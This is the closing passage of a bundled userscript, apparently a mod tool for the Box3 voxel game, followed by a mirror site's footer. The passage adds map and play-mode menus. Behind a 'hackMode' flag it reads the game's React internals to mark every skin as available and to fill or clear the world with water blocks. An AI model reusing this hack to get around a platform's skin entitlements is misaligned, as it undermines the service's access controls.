  4790. addFunctionButton(f, create, "创建自定义地图");
  4791. }
  4792. const _CustomMap$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4793. __proto__: null,
  4794. default: _CustomMap
  4795. }, Symbol.toStringTag, { value: "Module" }));
  4796. function MapContent(gui2) {
  4797. const f = gui2.addFolder("地图工具");
  4798. _CustomMap(f);
  4799. }
  4800. const MapContent$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4801. __proto__: null,
  4802. default: MapContent
  4803. }, Symbol.toStringTag, { value: "Module" }));
  4804. async function Play(gui2) {
  4805. const f = gui2.addFolder("游玩模式");
  4806. const rootElement = await waitElement("#react-container");
  4807. function getCore() {
  4808. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4809. }
  4810. const state = getCore().state;
  4811. const waitLabel = addLabel(f, "等待进入地图");
  4812. await waitUntil(() => state.box3.state.appState === 2);
  4813. Object.assign(unsafeWindow, { core: getCore(), state });
  4814. waitLabel.destroy();
  4815. addFunctionButton(
  4816. f,
  4817. async () => {
  4818. state.box3.state.chat.log = [];
  4819. },
  4820. "清空聊天"
  4821. );
  4822. if (settings["flag.hackMode"]) {
  4823. console.log("PlayMode Hack Enabled.");
  4824. Object.assign(unsafeWindow, {
  4825. async getAllSkin() {
  4826. const stop = startLoading();
  4827. state.box3.state.secret.availableSkin = (await getCore().brpc.skin.api.getAll()).map((e) => e.name);
  4828. stop();
  4829. Swal.fire("Got all skins", "", "success");
  4830. },
  4831. async fillWaterWorld() {
  4832. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4833. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4834. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4835. if (state.box3.voxel.getVoxel(x, y, z) === 0)
  4836. state.box3.voxel._setVoxel(x, y, z, 364);
  4837. },
  4838. async clearWater() {
  4839. for (let x = 0; x < state.box3.state.voxel.shape[0]; x++)
  4840. for (let y = 0; y < state.box3.state.voxel.shape[1]; y++)
  4841. for (let z = 0; z < state.box3.state.voxel.shape[2]; z++)
  4842. if (state.box3.voxel.getVoxel(x, y, z) === 364)
  4843. state.box3.voxel._setVoxel(x, y, z, 0);
  4844. }
  4845. });
  4846. }
  4847. GraphicSettings(getCore, state, f);
  4848. }
  4849. const Play$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4850. __proto__: null,
  4851. default: Play
  4852. }, Symbol.toStringTag, { value: "Module" }));
  4853. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址